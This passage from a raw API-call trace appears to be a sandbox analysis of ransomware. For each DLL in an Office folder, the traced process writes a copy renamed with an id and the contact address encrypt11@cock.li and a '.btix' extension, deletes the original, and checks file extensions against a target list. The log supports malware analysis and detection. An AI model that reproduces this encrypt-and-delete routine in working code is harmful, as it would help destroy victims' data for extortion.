(lpString1=".pdf", lpString2=".dll") returned 1 [0159.596] lstrlenW (lpString=".xls") returned 4 [0159.596] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.596] lstrlenW (lpString=".xlsx") returned 5 [0159.596] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.596] lstrlenW (lpString=".ppt") returned 4 [0159.596] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0159.596] lstrlenW (lpString=".zip") returned 4 [0159.596] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.596] lstrlenW (lpString=".rar") returned 4 [0159.596] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.596] lstrlenW (lpString=".bz2") returned 4 [0159.596] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.596] lstrlenW (lpString=".7z") returned 3 [0159.596] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0159.596] lstrlenW (lpString=".dbf") returned 4 [0159.596] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0159.596] lstrlenW (lpString=".1cd") returned 4 [0159.596] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0159.596] lstrlenW (lpString=".jpg") returned 4 [0159.596] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.597] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.597] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.597] GetLastError () returned 0x0 [0159.597] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0159.733] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0159.734] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.734] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x11a, lpOverlapped=0x0) returned 1 [0159.734] SetEndOfFile (hFile=0x34c) returned 1 [0159.734] CloseHandle (hObject=0x34c) returned 1 [0159.734] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.734] SetEndOfFile (hFile=0x35c) returned 1 [0159.735] CloseHandle (hObject=0x35c) returned 1 [0159.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0159.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0159.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0159.736] lstrlenW (lpString=".doc") returned 4 [0159.736] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.736] lstrlenW (lpString=".docx") returned 5 [0159.736] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.736] lstrlenW (lpString=".pdf") returned 4 [0159.736] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.736] lstrlenW (lpString=".xls") returned 4 [0159.736] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.736] lstrlenW (lpString=".xlsx") returned 5 [0159.736] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.736] lstrlenW (lpString=".ppt") returned 4 [0159.736] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0159.736] lstrlenW (lpString=".zip") returned 4 [0159.736] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.736] lstrlenW (lpString=".rar") returned 4 [0159.736] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.736] lstrlenW (lpString=".bz2") returned 4 [0159.736] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.736] lstrlenW (lpString=".7z") returned 3 [0159.736] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0159.737] lstrlenW (lpString=".dbf") returned 4 [0159.737] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0159.737] lstrlenW (lpString=".1cd") returned 4 [0159.737] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0159.737] lstrlenW (lpString=".jpg") returned 4 [0159.737] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.737] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.737] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.737] GetLastError () returned 0x0 [0159.737] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0159.907] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0159.908] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.908] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x110, lpOverlapped=0x0) returned 1 [0159.908] SetEndOfFile (hFile=0x34c) returned 1 [0159.908] CloseHandle (hObject=0x34c) returned 1 [0159.908] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.909] SetEndOfFile (hFile=0x35c) returned 1 [0159.909] CloseHandle (hObject=0x35c) returned 1 [0159.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0159.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0159.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0159.910] lstrlenW (lpString=".doc") returned 4 [0159.911] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.911] lstrlenW (lpString=".docx") returned 5 [0159.911] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.911] lstrlenW (lpString=".pdf") returned 4 [0159.911] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.911] lstrlenW (lpString=".xls") returned 4 [0159.911] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.911] lstrlenW (lpString=".xlsx") returned 5 [0159.911] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.911] lstrlenW (lpString=".ppt") returned 4 [0159.911] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0159.911] lstrlenW (lpString=".zip") returned 4 [0159.911] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.911] lstrlenW (lpString=".rar") returned 4 [0159.911] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.911] lstrlenW (lpString=".bz2") returned 4 [0159.911] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.911] lstrlenW (lpString=".7z") returned 3 [0159.911] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0159.911] lstrlenW (lpString=".dbf") returned 4 [0159.911] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0159.911] lstrlenW (lpString=".1cd") returned 4 [0159.911] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0159.911] lstrlenW (lpString=".jpg") returned 4 [0159.911] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.912] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.912] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.913] GetLastError () returned 0x0 [0159.913] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0159.939] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0159.940] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.940] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x114, lpOverlapped=0x0) returned 1 [0159.940] SetEndOfFile (hFile=0x34c) returned 1 [0159.940] CloseHandle (hObject=0x34c) returned 1 [0159.940] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.940] SetEndOfFile (hFile=0x35c) returned 1 [0159.941] CloseHandle (hObject=0x35c) returned 1 [0159.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0159.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0159.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0159.942] lstrlenW (lpString=".doc") returned 4 [0159.942] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.942] lstrlenW (lpString=".docx") returned 5 [0159.942] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.942] lstrlenW (lpString=".pdf") returned 4 [0159.942] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.942] lstrlenW (lpString=".xls") returned 4 [0159.942] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.942] lstrlenW (lpString=".xlsx") returned 5 [0159.942] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.942] lstrlenW (lpString=".ppt") returned 4 [0159.942] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0159.942] lstrlenW (lpString=".zip") returned 4 [0159.942] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.942] lstrlenW (lpString=".rar") returned 4 [0159.942] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.942] lstrlenW (lpString=".bz2") returned 4 [0159.942] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.942] lstrlenW (lpString=".7z") returned 3 [0159.942] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0159.942] lstrlenW (lpString=".dbf") returned 4 [0159.942] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0159.943] lstrlenW (lpString=".1cd") returned 4 [0159.943] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0159.943] lstrlenW (lpString=".jpg") returned 4 [0159.943] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.943] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.943] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.943] GetLastError () returned 0x0 [0159.944] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0159.971] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0159.972] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.972] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x116, lpOverlapped=0x0) returned 1 [0159.972] SetEndOfFile (hFile=0x34c) returned 1 [0159.972] CloseHandle (hObject=0x34c) returned 1 [0159.972] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.972] SetEndOfFile (hFile=0x35c) returned 1 [0159.973] CloseHandle (hObject=0x35c) returned 1 [0159.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.973] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0159.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82 [0159.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82 [0159.974] lstrlenW (lpString=".doc") returned 4 [0159.974] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.974] lstrlenW (lpString=".docx") returned 5 [0159.974] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0159.974] lstrlenW (lpString=".pdf") returned 4 [0159.974] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.974] lstrlenW (lpString=".xls") returned 4 [0159.974] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.974] lstrlenW (lpString=".xlsx") returned 5 [0159.974] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0159.974] lstrlenW (lpString=".ppt") returned 4 [0159.974] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82 [0159.974] lstrlenW (lpString=".zip") returned 4 [0159.974] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.974] lstrlenW (lpString=".rar") returned 4 [0159.974] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.974] lstrlenW (lpString=".bz2") returned 4 [0159.974] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.974] lstrlenW (lpString=".7z") returned 3 [0159.974] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82 [0159.974] lstrlenW (lpString=".dbf") returned 4 [0159.974] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82 [0159.975] lstrlenW (lpString=".1cd") returned 4 [0159.975] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-process-l1-1-0.dll") returned 82 [0159.975] lstrlenW (lpString=".jpg") returned 4 [0159.975] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.975] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.975] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.976] GetLastError () returned 0x0 [0159.976] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0160.023] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0160.025] ReadFile (in: hFile=0x35c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.025] WriteFile (in: hFile=0x34c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x110, lpOverlapped=0x0) returned 1 [0160.025] SetEndOfFile (hFile=0x34c) returned 1 [0160.025] CloseHandle (hObject=0x34c) returned 1 [0160.025] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.025] SetEndOfFile (hFile=0x35c) returned 1 [0160.026] CloseHandle (hObject=0x35c) returned 1 [0160.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0160.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0160.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79 [0160.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79 [0160.028] lstrlenW (lpString=".doc") returned 4 [0160.028] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0160.028] lstrlenW (lpString=".docx") returned 5 [0160.028] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0160.028] lstrlenW (lpString=".pdf") returned 4 [0160.028] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0160.028] lstrlenW (lpString=".xls") returned 4 [0160.028] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0160.028] lstrlenW (lpString=".xlsx") returned 5 [0160.028] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0160.028] lstrlenW (lpString=".ppt") returned 4 [0160.028] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0160.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79 [0160.028] lstrlenW (lpString=".zip") returned 4 [0160.028] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0160.029] lstrlenW (lpString=".rar") returned 4 [0160.029] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0160.029] lstrlenW (lpString=".bz2") returned 4 [0160.029] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0160.029] lstrlenW (lpString=".7z") returned 3 [0160.029] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0160.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79 [0160.029] lstrlenW (lpString=".dbf") returned 4 [0160.029] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0160.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79 [0160.029] lstrlenW (lpString=".1cd") returned 4 [0160.029] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0160.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-time-l1-1-0.dll") returned 79 [0160.029] lstrlenW (lpString=".jpg") returned 4 [0160.029] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0160.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft 